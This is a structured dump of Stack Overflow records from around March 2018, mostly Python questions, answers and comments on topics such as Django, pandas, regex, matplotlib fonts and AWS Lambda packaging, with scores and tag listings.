linked to: http://stackoverflow.com/q/986006
has comment: http://stackoverflow.com/comment/85914607
tagged with: scopes
favorite count: 0
type: Question
answer count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/2612802
duplicate of: http://stackoverflow.com/q/986006
has comment: http://stackoverflow.com/comment/85913790
upvote count: 1
tagged with: python
has title: Python global variable contradiction
duplicate of: http://stackoverflow.com/q/2612802
score: 1

http://stackoverflow.com/a/49547194
downvote count: 0
upvote count: 1
score: 1
type: Answer
has body: You should define serializer to convert the model instance data to respective JSON data, So define a serializer.py as below class BookSerializer(serializers.ModelSerializer): class Meta: fields = '__all__' model = Book then in your view, change as below,&lt;br&gt; from rest_framework.views import APIView from rest_framework.response import Response from .models import Book class BookApiView(APIView): def get(self, request, format=None): booksqueryset = Book.objects.all() serializer = BookSerializer(booksqueryset, many=True) return Response(data=serializer.data) Read this DRF ModelSerializer Official Doc for more details
answers question: http://stackoverflow.com/q/49547074

http://stackoverflow.com/q/49562927
has comment: http://stackoverflow.com/comment/86140201
linked to: http://stackoverflow.com/q/18772950
favorite count: 0
tagged with: networkx
type: Question
has comment: http://stackoverflow.com/comment/86137635
has comment: http://stackoverflow.com/comment/86134413
type: UnansweredQuestion
tagged with: matplotlib
has title: How to display non-English fonts in matplotlib and networkx?
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/124682046
has comment: http://stackoverflow.com/comment/86134718
answer count: 0
tagged with: fonts
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/47757755
has body: This is a followup question to this question. Since it addresses a more general issue I make it a new question. I have a network for which the labels of the nodes are in Farsi language (Arabic alphabet). When I try to use networkx to display my network it shows blank squares instead of Arabic letters. Below I copy a good example provided in the answers in here. from bidi.algorithm import get_display import matplotlib.pyplot as plt import arabic_reshaper import networkx as nx # Arabic text preprocessing reshaped_text = arabic_reshaper.reshape(u'زبان فارسی') artext = get_display(reshaped_text) # constructing the sample graph G=nx.Graph() G.add_edge('a', artext ,weight=0.6) pos=nx.spring_layout(G) nx.draw_networkx_nodes(G,pos,node_size=700) nx.draw_networkx_edges(G,pos,edgelist=G.edges(data=True),width=6) # Drawing Arabic text # Just Make sure your version of the font 'Times New Roman' has Arabic in it. # You can use any Arabic font here. nx.draw_networkx_labels(G,pos,font_size=20, font_family='Times New Roman') # showing the graph plt.axis('off') plt.show() which generates the following image: I tried to install the needed fonts by following command lines in python, but I get the same thing. &gt;&gt;&gt; import matplotlib.pyplot &gt;&gt;&gt; matplotlib.rcParams.update({font.family' : 'TraditionalArabic'}) Here is the ERROR message, to be more specific: /usr/local/anaconda3/lib/python3.5/site-packages/matplotlib/font_manager.py:1288: UserWarning: findfont: Font family ['TraditionalArabic'] not found. Falling back to Bitstream Vera Sans (prop.get_family(), self.defaultFamily[fontext]) I am also investigating ways to install the needed fonts from ubuntu cli, if possible, and put it in my docker file as it gets installed every time I spin my runs. Best regards, s.

http://stackoverflow.com/a/51312475
downvote count: 0
score: 16
has comment: http://stackoverflow.com/comment/139965838
accepted answer of: http://stackoverflow.com/q/49540656
type: Answer
has body: You can now use the sphinx-autodoc-typehints extension. It will automatically add the types to the sphinx docstrings when you write in the former example above. To install, just do: $ pip install sphinx-autodoc-typehints Add 'sphinx_autodoc_typehints' to the extensions list in conf.py after 'sphinx.ext.napoleon', and make sure you also add napoleon_use_param = True to conf.py.
answers question: http://stackoverflow.com/q/49540656
upvote count: 16
type: AcceptedAnswer

http://stackoverflow.com/comment/85913613
comment on: http://stackoverflow.com/q/49455301
has text: sure, it doesnt really matter. Its more a question of the flattening of the product list.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85890953
has text: It's a duplicate.
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49444562

http://stackoverflow.com/comment/86134755
type: Comment
has text: windows 10, pyscripter, no error, python 2.7
type: AnswerComment
comment on: http://stackoverflow.com/a/49563183
score: 0

http://stackoverflow.com/comment/86142213
type: QuestionComment
score: 0
has text: Fixed it. Thank you
type: Comment
comment on: http://stackoverflow.com/q/49566862

http://stackoverflow.com/q/49568156
type: Question
score: 1
has comment: http://stackoverflow.com/comment/86144657
tagged with: python
has comment: http://stackoverflow.com/comment/86161300
answer count: 0
downvote count: 0
upvote count: 1
type: UnansweredQuestion
tagged with: pip
has body: I followed the instructions from an Amazon AWS Lambda help document titled, "Creating a Deployment Package (Python)" pip install requests -t /path/to/project-dir It was successful, and the resulting deployment package works, but it contains 10 folders: urllib3, chardet, certifi, idna, requests, and an accompanying "dist-info" folder for each. All of the folders are required in order to compile the code in an AWS Lambda function. Omitting any folders causes a compile error in AWS Lambda. However, the following project from two years ago has a similar distribution package, where there is only one folder named "requests" and one "dist-info" folder, for a total of just two folders: https://github.com/cpiggott/LambdaToSlack I used Python version 3.7.0b1 from January 2018, on Windows 10. I also tried this on a different machine with Python 2.7.14 on Windows 7, but got the same result. I looked at the command line options and tried a couple that seemed possible, but it didn't make a difference: https://pip.pypa.io/en/stable/reference/pip_install/#options So I wonder why does my distribution package require ten folders when the other one only requires two? Is there any parameter or other procedure I can use to end up with less folders?
tagged with: amazon-web-services
has title: Why does my Python deployment package contain so many folders?
tagged with: aws-lambda
favorite count: 0

http://stackoverflow.com/comment/86038934
has text: I want each rows of lat and long to have their own utm values from the function
comment on: http://stackoverflow.com/a/49515980
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49707287
answers question: http://stackoverflow.com/q/49491822
has body: plot does not have any parameter name type To plot the scatter use plt.scatter(x,y)
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/49543553
score: -2
tagged with: python
has title: Name error when calculating the average error between two data sets
has answer: http://stackoverflow.com/a/49543588
tagged with: python-3.x
tagged with: python-2.7
answer count: 2
upvote count: 0
has answer: http://stackoverflow.com/a/71754685
type: UnansweredQuestion
downvote count: 2
favorite count: 0
type: Question
has body: I want to calculate the average error between two data sets and write the result to a file but my code gives this error: NameError: name 'first1' is not defined Could you please tell me how to fix this error? The command I use to run the code is here: python script.py input1.txt input2.txt > output.txt My code: import numpy from numpy import * import scipy import scipy.stats import matplotlib. pyplot as plt import matplotlib.patches as patches from pylab import * import scipy.integrate from operator import itemgetter, attrgetter import sys def main(argv): t = open(sys.argv[1]) first1 = t.readline() tt = open(argv[2]) second2 = tt.readline() return [first1], [second2] def analysis(first1, second2): first = np.array(first1, dtype = np.float64) second = np.array(second2, dtype = np.float64) #Average error avgerr = (first - second).mean() return [avgerr] analysis(first1, second2) if __name__ == '__main__': sys.exit(main(sys.argv)) input1.txt: 2.5 2.8 3.9 4.2 5.8 input2.txt: 0.8 2.5 3.2 5.8 6.3

http://stackoverflow.com/comment/86101445
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49546950
has text: So, yet *another* reason to just use Python 3 ;)
type: Comment

http://stackoverflow.com/comment/86003002
type: AnswerComment
comment on: http://stackoverflow.com/a/49499387
type: Comment
has text: whats python interpreter? (sorry if its common knowledge i use 'brackets' mostly)
score: 0

http://stackoverflow.com/a/49579842
accepted answer of: http://stackoverflow.com/q/49579729
type: AcceptedAnswer
downvote count: 0
has body: In [113]: (df'col'.replace(r'\s*\([^\)]*\)', '', regex=True) ...: .set_index(np.arange(len(df))//3) ...: .set_index(np.arange(len(df))%3, append=True)['col'] ...: .unstack()) ...: Out[113]: 0 1 2 0 2017 / something $5.91 Premium 1 2017 / anotherthing $16.0 Business
type: Answer
answers question: http://stackoverflow.com/q/49579729
upvote count: 4
score: 4

heatmap
tags question: http://stackoverflow.com/q/49532728
tags question: http://stackoverflow.com/q/49530746
tags question: http://stackoverflow.com/q/49582178
tag name: heatmap
type: Tag
tags question: http://stackoverflow.com/q/49562916
tags question: http://stackoverflow.com/q/49471502

http://stackoverflow.com/a/49528749
has body: Since you're Python oriented for your ML code I'd suggest you to reduce the list of skills you need to learn and/or improve using Python for everything. You could use Python-SocketIO and Flask, for example.
answers question: http://stackoverflow.com/q/49528661
score: 0
type: Answer

http://stackoverflow.com/q/49479958
tagged with: django-widget
has answer: http://stackoverflow.com/a/49480129
score: 3
answer count: 3
upvote count: 3
tagged with: django-models
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/12066436
has comment: http://stackoverflow.com/comment/85962885
has answer: http://stackoverflow.com/a/61020677
tagged with: django-admin
has comment: http://stackoverflow.com/comment/85963377
type: UnansweredQuestion
has title: How to change NumberInput widget width in Django?
downvote count: 0
has answer: http://stackoverflow.com/a/75162808
tagged with: django
tagged with: python
has body: I'm trying to change the width of NumberInput and TextInput widgets: class MyModelAdmin(admin.ModelAdmin): formfield_overrides = { models.FloatField: {'widget': NumberInput(attrs={'size':'10'})}, models.CharField: {'widget': TextInput(attrs={'size':'10'})}, } It works good with TextInput widget but does not work with NumberInput widget. How can I do it?

http://stackoverflow.com/comment/86165918
type: Comment
score: 0
has text: @Wen, I've tried a few pivot solutions, but they don't seem to work. Any ideas?
type: QuestionComment
comment on: http://stackoverflow.com/q/49578886

http://stackoverflow.com/q/49511956
has comment: http://stackoverflow.com/comment/86029666
has body: Whole idea is to read variables from file, that also has imports in it: RULES: 1) file is untouchable (we can read it, but no modifications) 2) we don't want to import variables from files imports (only variables from the file) 3) we do not crate temp files (assume no write access) My idea has two steps: 1) (done), read file to memory and comment all import lines 2) use imp to import values &nbsp;&nbsp;2a) map file contents back to file type &nbsp;&nbsp;2b) use imp.load_source() &nbsp;&nbsp;2c) {key: value for key, value in foo.__dict__.iteritems() if not key.startswith('_')} Stuck on 2a, can anyone help/support me, pls? EXAMPLE FILE: # from os import * myvar = 'aaa'
has title: map file contents to file type
answer count: 1
tagged with: python
score: -1
downvote count: 1
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/86029411
has comment: http://stackoverflow.com/comment/86028652
has comment: http://stackoverflow.com/comment/86029521
tagged with: file
has comment: http://stackoverflow.com/comment/86032813
has comment: http://stackoverflow.com/comment/86029728
favorite count: 0
has comment: http://stackoverflow.com/comment/86036047
type: Question
has answer: http://stackoverflow.com/a/49515065
accepted answer: http://stackoverflow.com/a/49515065

http://stackoverflow.com/a/49478285
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49478066
has comment: http://stackoverflow.com/comment/85967176
answers question: http://stackoverflow.com/q/49478066
has comment: http://stackoverflow.com/comment/85966978
has body: This works for me import numpy as np a = [[1, 2, 3, 4, 5],[6,7,8,9,10]] p = np.shape(a) max_h = 100 max_w = 441 pad_h = (max_h-p[0])//2 pad_w = (max_w-p[1])//2 print(np.pad(a,((pad_h,pad_h),(pad_w,pad_w)),'constant', constant_values=(0)))
type: Answer
score: 0

http://stackoverflow.com/comment/85891570
type: AnswerComment
type: Comment
has text: thanks your answer.I tried your codes,but in id column 23ds5a9iew34mc8 was registed.I wanna resist integer like 1,2,3・・・.I think UUIDField causes this error but how should I fix this?
comment on: http://stackoverflow.com/a/49444889
score: 0

http://stackoverflow.com/comment/85985271
type: Comment
type: QuestionComment
has text: It is a list of tuples
comment on: http://stackoverflow.com/q/49491012
score: 0

http://stackoverflow.com/a/49468437
has comment: http://stackoverflow.com/comment/86020550
upvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49468150
downvote count: 1
has body: if pip is installed the following will work for sure open a python shell then import pip pip.main(['install', 'packagename']) replace the packagename with the package you want to install because of the path problem try to use absolute paths ( in windows beginning with drive letter i.e. C:/.../.../pip.exe). in batch script it is generally good idea to use absolute paths. Alternatively check if your path has to be fixed : https://docs.python.org/3/using/windows.html ( http://jelly.codes/articles/python-pip-module/ ) Operating systems search for executables in the system path. I.e. windows knows by default where its own executables are located because the directory is in the system path, however when new software is installed that contains executables like pip the system path has to be edited to inform windows ( or linux ) where the new executables are located. The path is an environment variable. This is also valid for other languages and programs like java ( Environment variables for java installation ) ,... Now your problem very likely is that the directory where the pip.exe executable is stored is not part of your windows path. This has to be fixed like in https://docs.python.org/3/using/windows.html, chapter 3.3. Configuring Python How to run Pip commands from CMD
answers question: http://stackoverflow.com/q/49468150
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/85956522

http://stackoverflow.com/comment/86066260
has text: @hpaulj no missing values are blanks. 0.1235<tab><tab>0.3654. All columns are Float except last one which is integer
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49522800

http://stackoverflow.com/comment/86189078
has text: But I actually recommend Erik answer, keep names or lists with the widgets you care for.
type: QuestionComment
comment on: http://stackoverflow.com/q/49590501
type: Comment
score: 0

http://stackoverflow.com/q/49481858
type: Question
has comment: http://stackoverflow.com/comment/85966550
score: 0
has title: Reading text file and splitting numbers
answer count: 1
tagged with: string
tagged with: cloud9
has body: I currently have a text file I am reading from that contains 6 numbers that I need to be able to call individually. The text file looks like this 11 12 13 21 22 23 So far I've used the following to try to get the correct output with no success. with open(os.path.join(path,"config.txt"),"r") as config: mylist = config.read().splitlines() print mylist This gives me ['11 12 13', '21 22 23']. with open(os.path.join(path,"config.txt"),"r") as config: contents = config.read() params = re.findall("\d+", contents) print params This gives me ['11', '12', '13', '21', '22', '23'] with open(os.path.join(path,"config.txt"),"r") as config: for line in config: numbers_float = map(float, line.split()) print numbers_float[0] This gives me 11.0 21.0 The last method is the closest but gives me both numbers in the first column instead of just one. Also would I be able to separate the numbers in the text file with commas with the same or better result? Thanks for any help!
tagged with: text
tagged with: int
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49481884
accepted answer: http://stackoverflow.com/a/49481884
tagged with: python

http://stackoverflow.com/q/49576180
accepted answer: http://stackoverflow.com/a/49576290
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86161250
has comment: http://stackoverflow.com/comment/86160722
has answer: http://stackoverflow.com/a/49576290
downvote count: 0
linked to: http://stackoverflow.com/q/46209173
score: 7
has comment: http://stackoverflow.com/comment/86160148
upvote count: 7
linked to: http://stackoverflow.com/q/14730046
linked to: http://stackoverflow.com/q/49341966
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/86161801
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86160047
has comment: http://stackoverflow.com/comment/86160258
has comment: http://stackoverflow.com/comment/86159951
type: Question
has comment: http://stackoverflow.com/comment/86160341
has comment: http://stackoverflow.com/comment/86161371
has comment: http://stackoverflow.com/comment/86161361
has comment: http://stackoverflow.com/comment/86160502
tagged with: python
has comment: http://stackoverflow.com/comment/86161806
has body: I have found an interesting performance optimization. Instead of using all(): def matches(self, item): return all(c.applies(item) for c in self.conditions) I have profiled that it's faster when a loop is used instead: def matches(self, item): for condition in self.conditions: if not condition.applies(item): return False return True With all() the profiler shows 1160 additional &lt;genexpr&gt; calls: 4608 function calls (4600 primitive calls) in 0.015 seconds Ordered by: internal time ncalls tottime percall cumtime percall filename:lineno(function) 580 0.002 0.000 0.008 0.000 rule.py:23(matches) 1160 0.002 0.000 0.005 0.000 rule.py:28(&lt;genexpr&gt;) With the for loop, there are no &lt;genexpr&gt; calls: 2867 function calls (2859 primitive calls) in 0.012 seconds Ordered by: internal time ncalls tottime percall cumtime percall filename:lineno(function) 580 0.002 0.000 0.006 0.000 rule.py:23(matches) My question is where does the difference come from? My first though was that all evaluates all conditions, but that's not the case: def foo(): print('foo') return False all(foo() for _ in range(1000)) foo
has comment: http://stackoverflow.com/comment/86160687
has comment: http://stackoverflow.com/comment/86161098
has title: all() vs for loop with break performance
has comment: http://stackoverflow.com/comment/86160094
has comment: http://stackoverflow.com/comment/86160957

http://stackoverflow.com/q/49440195
has answer: http://stackoverflow.com/a/49440252
accepted answer: http://stackoverflow.com/a/49440252
has body: I´m trying to make a textbased game. What the else statement is supposed to do is if the player doesn´t type in an item they have it tells them so, then restarts the method. What really happens is when I run the code is that I get an invalid syntax for my troubles. The else statement has a * next to it. def fightMode(): action=raw_input("Type a to attack, s to pick an item, d to runaway.Then hit enter") if action=="s": pickItem() elif action == "a": def isPrime(): defense=10 strength=10 Health= 10 items={"shepards crow":strength+2 and defense+2} equipedItems=[] print("You're quietly herding the village's sheep when you suddenly hear a huge roar. Goblns have invaded the village and are coming towards you. Do you A.Runaway B.Fight C.Herd the sheep away") answer=rawinput("Type your option A,B, or C and press enter") def pickItem(): itemPick=raw_input("Type in your item and press enter") for x in items: if itemPick == x: equipedItems=[x] print("% equiped" %itemPick) fightMode() *else: print("Item unavailable. Try again") pickItem()* def Print(): print("Health= %" %Health) #this is enacted when you get into a fight
has title: One of my else statements in python doesn´t work.
tagged with: python
has comment: http://stackoverflow.com/comment/85882427
type: AnsweredQuestion
score: 0
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/49481145
has body: I'm a new python user. I try to write a script to deal with multiple text files all of them the same name and indexed like sample1_freq780Hz_accRate600Hz_V3Volt_1_.txt sample1_freq780Hz_accRate600Hz_V3Volt_2_.txt sample1_freq780Hz_accRate600Hz_V3Volt_3_.txt I used this code: def get_numbers_from_filename(filename): result = re.search(r'\d+', filename).group(0) return result for filename in os.listdir('input/'): print(get_numbers_from_filename(filename)) but it didn't give me the wanted results I need a code to get the numbers as follow: freq: 780 Hz accRate: 600 Hz V: 3 Volt and how to deal and use these numbers as parameters inside the full script?
has title: How to get number form multi text files name and use it?
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49481230
upvote count: 0
score: -3
answer count: 1
downvote count: 3
favorite count: 0
type: Question
type: AnsweredQuestion
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/85965345
has comment: http://stackoverflow.com/comment/85965232
has comment: http://stackoverflow.com/comment/85965173
accepted answer: http://stackoverflow.com/a/49481230

http://stackoverflow.com/q/49576407
has comment: http://stackoverflow.com/comment/86160214
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/86160245
has comment: http://stackoverflow.com/comment/86160579
type: AnsweredQuestion
score: 0
answer count: 1
tagged with: string
has body: For example: theString = 'something whatsoever' theString.find('what') # returns 10 However, when I find a string that is not in the string: theString = 'something whatsoever' theString.find('anything') # returns -1 What makes the string.find() function return -1?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86161372
upvote count: 2
has answer: http://stackoverflow.com/a/49576451
accepted answer: http://stackoverflow.com/a/49576451
has title: Why does string.find() return -1?

http://stackoverflow.com/q/49541029
has comment: http://stackoverflow.com/comment/86089555
has answer: http://stackoverflow.com/a/49541491
score: 2
type: AnsweredQuestion
upvote count: 3
has body: I have a dictionary with keys that look like this: ['NAME', 'ID', 'COURSE', 'DUE', 'SUBMITTED', 'MINUTESLATE', 'LATEDEDUCTION', 'P1', 'P1COMMENTS', 'P2', 'P2COMMENTS', 'SUBTOTAL', 'TOTAL'] My goal is to go through a file and replace occurrences of these keys with values that I've read in from another file. For instance: Problem 1: &lt;&lt;P1&gt;&gt;/35 &lt;&lt;P1COMMENTS&gt;&gt; would be replaced with something like: Problem 1: 30/35 comment However, I'm having issues with doing this, as the keys can be overlapping. I wrote this method using some code that I looked up previously for another assignment: def replace_all(text, dic): for i, j in dic.items(): text = text.replace(i, j) return text However, this is the first time I've had overlapping keys in my dictionary, so I'm having a tough time tweaking this method to work properly. Currently, this is what my output looks like: Problem 1: 30/35 30COMMENTS Any ideas on a better way to approach this problem?
downvote count: 1
type: Question
tagged with: python-3.x
answer count: 2
has answer: http://stackoverflow.com/a/49541128
accepted answer: http://stackoverflow.com/a/49541128
has comment: http://stackoverflow.com/comment/86089474
has title: Replacing keys in a string with corresponding values from a dictionary
has comment: http://stackoverflow.com/comment/86089433
tagged with: python
has comment: http://stackoverflow.com/comment/86089536
possible better answer: http://stackoverflow.com/a/49541491
has comment: http://stackoverflow.com/comment/86089526
favorite count: 0

http://stackoverflow.com/comment/86063261
has text: No, just the index can be datetime..
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49528597
score: 0

http://stackoverflow.com/comment/113222385
type: Comment
score: 0
type: AnswerComment
has text: While writing parquet it does not actual infer to schema. I have None in columns and I want to convert them to int64 but it converts column to float while writing but in table.schema it shows int64
comment on: http://stackoverflow.com/a/49575251

python-2.7
tags question: http://stackoverflow.com/q/49568501
tags question: http://stackoverflow.com/q/49525984
tags question: http://stackoverflow.com/q/49598324
tags question: http://stackoverflow.com/q/49583361
tags question: http://stackoverflow.com/q/49552286
tags question: http://stackoverflow.com/q/49446297
tags question: http://stackoverflow.com/q/49595199
tags question: http://stackoverflow.com/q/49516779
tags question: http://stackoverflow.com/q/49441614
tags question: http://stackoverflow.com/q/49449324
tags question: http://stackoverflow.com/q/49472349
tags question: http://stackoverflow.com/q/49466785
tags question: http://stackoverflow.com/q/49569492
tags question: http://stackoverflow.com/q/49530857
tags question: http://stackoverflow.com/q/49526792
tags question: http://stackoverflow.com/q/49534947
tags question: http://stackoverflow.com/q/49501620
tags question: http://stackoverflow.com/q/49504321
tags question: http://stackoverflow.com/q/49504461
tags question: http://stackoverflow.com/q/49503833
tags question: http://stackoverflow.com/q/49457290
tags question: http://stackoverflow.com/q/49535519
tags question: http://stackoverflow.com/q/49562967
tags question: http://stackoverflow.com/q/49472493
tags question: http://stackoverflow.com/q/49534716
tags question: http://stackoverflow.com/q/49587043
tags question: http://stackoverflow.com/q/49542986
tags question: http://stackoverflow.com/q/49541927
tags question: http://stackoverflow.com/q/49563728
tags question: http://stackoverflow.com/q/49462599
tags question: http://stackoverflow.com/q/49440330
tags question: http://stackoverflow.com/q/49491012
tags question: http://stackoverflow.com/q/49525777
tags question: http://stackoverflow.com/q/49563207
tags question: http://stackoverflow.com/q/49504426
tags question: http://stackoverflow.com/q/49521810
tags question: http://stackoverflow.com/q/49471634
tags question: http://stackoverflow.com/q/49583311
tags question: http://stackoverflow.com/q/49502599
tags question: http://stackoverflow.com/q/49549810
type: Tag
tags question: http://stackoverflow.com/q/49473256
tags question: http://stackoverflow.com/q/49519643
tags question: http://stackoverflow.com/q/49513423
tags question: http://stackoverflow.com/q/49564238
tags question: http://stackoverflow.com/q/49526588
tags question: http://stackoverflow.com/q/49520906
tags question: http://stackoverflow.com/q/49516442
tags question: http://stackoverflow.com/q/49492550
tags question: http://stackoverflow.com/q/49576261
tags question: http://stackoverflow.com/q/49483841
tags question: http://stackoverflow.com/q/49465391
tags question: http://stackoverflow.com/q/49490301
tags question: http://stackoverflow.com/q/49461147
tags question: http://stackoverflow.com/q/49562458
tags question: http://stackoverflow.com/q/49459287
tags question: http://stackoverflow.com/q/49594923
tags question: http://stackoverflow.com/q/49492344
tags question: http://stackoverflow.com/q/49556911
tags question: http://stackoverflow.com/q/49548431
tags question: http://stackoverflow.com/q/49476240
tags question: http://stackoverflow.com/q/49453087
tags question: http://stackoverflow.com/q/49591323
tags question: http://stackoverflow.com/q/49479995
tags question: http://stackoverflow.com/q/49467327
tags question: http://stackoverflow.com/q/49550692
tags question: http://stackoverflow.com/q/49566424
tags question: http://stackoverflow.com/q/49507733
tags question: http://stackoverflow.com/q/49582410
tags question: http://stackoverflow.com/q/49455276
tags question: http://stackoverflow.com/q/49598509
tags question: http://stackoverflow.com/q/49480166
tags question: http://stackoverflow.com/q/49500231
tags question: http://stackoverflow.com/q/49525545
tags question: http://stackoverflow.com/q/49498614
tags question: http://stackoverflow.com/q/49451285
tags question: http://stackoverflow.com/q/49519475
tags question: http://stackoverflow.com/q/49553646
tags question: http://stackoverflow.com/q/49565423
tags question: http://stackoverflow.com/q/49508161

dns
tags question: http://stackoverflow.com/q/49598223
tags question: http://stackoverflow.com/q/49509431
tag name: dns
type: Tag

http://stackoverflow.com/q/49567527
tagged with: function
upvote count: 1
tagged with: python
tagged with: variables
tagged with: class
has body: Sorry for the length of my code. This assignment deals with rectangles on a 3D plane. The class creates a box with 8 points on xyz axes from the user input centerX, centerY, centerZ, width, height, and depth. Another function in the class, setCenter, changes the centerX,centerY, and centerZ. In this example below box1.overlaps(box2) should return True. &gt;box1 = Box(10.0, 5.0, 0.0, 2.0, 1.0, 1.0) &gt; &gt;box2 = Box(0, 0, 0, 3.5, 2.5, 1.0) &gt; &gt;box1.overlaps(box2) &gt;Out[4]: False &gt; &gt;box1.setCenter(2.75, 0.0, 0.0) &gt; &gt;box1.overlaps(box2) &gt;Out[6]: False If I initialize the box with the center it's being changed to, it does return True &gt;box1 = Box(2.75,0,0,2,1,1) &gt; &gt;box1.overlaps(box2) &gt;Out[10]: True How can I fix this? Is this because I'm using instance variables where I should be using class variables? If so how can I do that? edit:updated to change points still can't get it to work as intended class Box: def __init__(self, centerX, centerY, centerZ, width, height, depth): self.prop = [centerX,centerY,centerZ,width,height,depth] self.topleft1 = [(centerX - (0.5*width)), (centerY + (0.5*height)), (centerZ + (0.5*depth))] self.topright1 = [(centerX + (0.5*width)), (centerY + (0.5*height)), (centerZ + (0.5*depth))] self.bottomleft1 = [(centerX - (0.5*width)), (centerY - (0.5*height)), (centerZ + (0.5*depth))] self.bottomright1 = [(centerX + (0.5*width)), (centerY - (0.5*height)), (centerZ + (0.5*depth))] self.topleft2 = [(centerX - (0.5*width)), (centerY + (0.5*height)), (centerZ - (0.5*depth))] self.topright2 = [(centerX + (0.5*width)), (centerY + (0.5*height)), (centerZ - (0.5*depth))] self.bottomleft2 = [(centerX - (0.5*width)), (centerY - (0.5*height)), (centerZ - (0.5*depth))] self.bottomright2 = [(centerX + (0.5*width)), (centerY - (0.5*height)), (centerZ - (0.5*depth))] self.coord = [self.topleft1,self.topright1,self.bottomleft1,self.bottomright1,self.topleft2, self.topright2,self.bottomleft2,self.bottomright2] def setCenter(self,…
type: AnsweredQuestion
has title: Class function not up to date after changing instance variable
tagged with: instance
downvote count: 0
answer count: 1
score: 1
accepted answer: http://stackoverflow.com/a/49567563
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49567563

http://stackoverflow.com/comment/86094575
has text: @hpaulj ah! yeah didn't notice that. But It seems that it's still convertible to a lower-triangle problem. Maybe by doing it for a proper slice and them changing the indices respectively.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49542873

http://stackoverflow.com/q/49545939
has comment: http://stackoverflow.com/comment/86112417
tagged with: python
has comment: http://stackoverflow.com/comment/86099969
has body: I have the following series and dataframe. I would like to append or concat the transposed series onto the dataframe such that the dataframe only has one row. Series: No. 9 Ticker LULU Company Lululemon Athletica Inc. Sector Consumer Goods Industry Textile - Apparel Clothing Country Canada Market Cap 11.87B P/E 42.72 Price 85.96 Change 9.21% Volume 10704010 Name: 8, dtype: object Dataframe: Ask Bid Chg Expiry IV IsNonstandard Last \ 57 1.05 0.87 -5.0 2018-04-06 0.333014 False 0.85 Last_Trade_Date Open_Int PctChg ... \ 57 2018-03-28T19:42:27.000Z 8.0 -85.470085 ... Underlying_Price Update_Date Update_Time Vol \ 57 85.96 20180328 14:56:13 65.0 _id iteration Start Price Diff from Current \ 57 LULU_20180406_20180328_26_p_84.0 26 0.96 -0.022801 Closed Current Price 57 False None [1 rows x 25 columns]
answer count: 0
type: UnansweredQuestion
has title: Append series onto dataframe as row
has comment: http://stackoverflow.com/comment/86126116
type: Question
linked to: http://stackoverflow.com/q/26309962
score: 0
tagged with: pandas

http://stackoverflow.com/q/49508344
possible better answer: http://stackoverflow.com/a/49508494
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49508515
score: 0
answer count: 2
has body: I am trying to find all matches for symbols in between two types of brackets: {}, []. So, the match for the string: "N[SP]K[LKO]{KOP}OP" is N, K, O, P. The brackets are not supposed to be nested. The current version I wrote is re.compile("^(?!\{\[)?([A-Za-z]+)") For the string above, it will return only "N". Can you please help me out?
type: Question
has answer: http://stackoverflow.com/a/49508515
has comment: http://stackoverflow.com/comment/86020934
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/49508494
has title: Python regex return all symbols between two types of brackets

http://stackoverflow.com/comment/86036961
comment on: http://stackoverflow.com/q/49515651
score: 0
has text: @jpp wouldn't that fail when trying to to apply `string` functions if the `object`-column if the column in fact did not contain strings?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49546238
answers question: http://stackoverflow.com/q/49546217
accepted answer of: http://stackoverflow.com/q/49546217
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: Seems like you need df['New']=df.groupby('ID').cumcount()+1 df Out[1308]: ID Month Year New 0 1 10 2017 1 1 1 11 2017 2 2 1 12 2017 3 3 1 1 2018 4 4 2 10 2017 1 5 2 11 2017 2 6 2 12 2017 3 7 2 1 2018 4
type: Answer

http://stackoverflow.com/comment/86041738
score: 1
comment on: http://stackoverflow.com/q/49517954
type: QuestionComment
type: Comment
has text: Infered type from your excel file, you can `df.loc[df['UPC'].astype(str) == "0000123234"]` or dtype in read_excel to force a dtype on import.

http://stackoverflow.com/a/49485261
has comment: http://stackoverflow.com/comment/85973414
score: 3
has comment: http://stackoverflow.com/comment/85973229
type: Answer
has comment: http://stackoverflow.com/comment/85973383
upvote count: 4
accepted answer of: http://stackoverflow.com/q/49485198
type: AcceptedAnswer
has body: Replace from_date = 2018-01-01 to from_date : 2018-01-01 in ini file Tested with code : import configparser import datetime config = configparser.ConfigParser() config.read('Test.ini') print (config['DEFAULT']['date']) from_date = config['DEFAULT']['date'] print(type(from_date)) from_date = datetime.datetime.strptime(from_date, '%Y-%m-%d').date() print (from_date) and Test.ini is [DEFAULT] date : 2018-1-1 output is : 2018-1-1 &lt;class 'str'&gt; 2018-01-01
answers question: http://stackoverflow.com/q/49485198
downvote count: 1

http://stackoverflow.com/tag/csv
tags question: http://stackoverflow.com/q/49440455
tags question: http://stackoverflow.com/q/49544742
tags question: http://stackoverflow.com/q/49525675
tags question: http://stackoverflow.com/q/49444015
type: Tag
tags question: http://stackoverflow.com/q/49486698
tags question: http://stackoverflow.com/q/49548137
tags question: http://stackoverflow.com/q/49538033
